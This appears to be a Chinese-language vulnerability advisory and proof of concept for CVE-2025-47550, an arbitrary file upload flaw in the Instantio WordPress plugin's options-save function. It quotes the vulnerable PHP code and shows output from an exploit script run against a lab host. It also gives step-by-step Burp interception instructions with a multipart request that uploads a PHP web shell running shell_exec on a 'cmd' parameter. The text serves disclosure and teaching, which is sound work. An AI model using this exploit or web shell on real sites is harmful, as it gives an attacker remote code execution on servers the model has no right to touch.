该 Instantio 插件未在其选项保存功能中过滤文件类型,允许管理员或更高级别用户上传任意文件,并可能因此在服务器上执行代码。
shell.php 的 Web Shell。% python3 CVE-2025-47550.py https://lab1.hacker admin PASSWORD
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
{"status":"success","message":"Options saved successfully!"}
Web Shell Location: https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php
Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
altname enp0s3
inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
valid_lft 33750sec preferred_lft 33750sec
inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute
valid_lft 86119sec preferred_lft 14119sec
inet6 fe80::a00:27ff:fe5b:342f/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
altname enp0s8
inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fe39:eaeb/64 scope link
valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:e5:9e:f6:23 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
</pre>
/wp-content/plugins/instantio/admin/tf-options/classes/Ins_TF_Settings.php 中的 ins_options_save 功能在处理文件上传时未强制执行正确的文件类型验证。
save_options() 函数的第 965-972 行检查 HTTP 请求中的 $_FILES,并仅对通用的 application/octet-stream MIME 类型进行验证。随后它会将文件存储到 Web 可访问目录 /wp-content/uploads/itinerary-fonts。
$tf_fonts_extantions = array( 'application/octet-stream' );
for ( $i = 0; $i < count( $_FILES['file']['name'] ); $i++ ) {
if ( in_array( $_FILES['file']['type'][ $i ], $tf_fonts_extantions ) ) {
$tf_font_filename = $_FILES['file']['name'][ $i ];
move_uploaded_file( $_FILES['file']['tmp_name'][ $i ], $tf_itinerary_fonts . '/' . $tf_font_filename );
}
}
登录管理后台并导航到 Instantio -> Settings。
启动 Burp Suite 或类似工具并开始拦截流量。
点击右下角的 Save 按钮。

在 Burp 中拦截 POST 请求,并附加你自己的文件数据(确保使用正确的表单边界)。
------WebKitFormBoundarydAJeoqdwR5qxfDb1
Content-Disposition: form-data; name="file[]"; filename="shell.php"
Content-Type: application/octet-stream
<?php
// Silence is golden
if (!empty($_GET['cmd'])) {
echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
}
------WebKitFormBoundarydAJeoqdwR5qxfDb1--

{"status":"success","message":"Options saved successfully!"}
https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php 以执行概念验证。
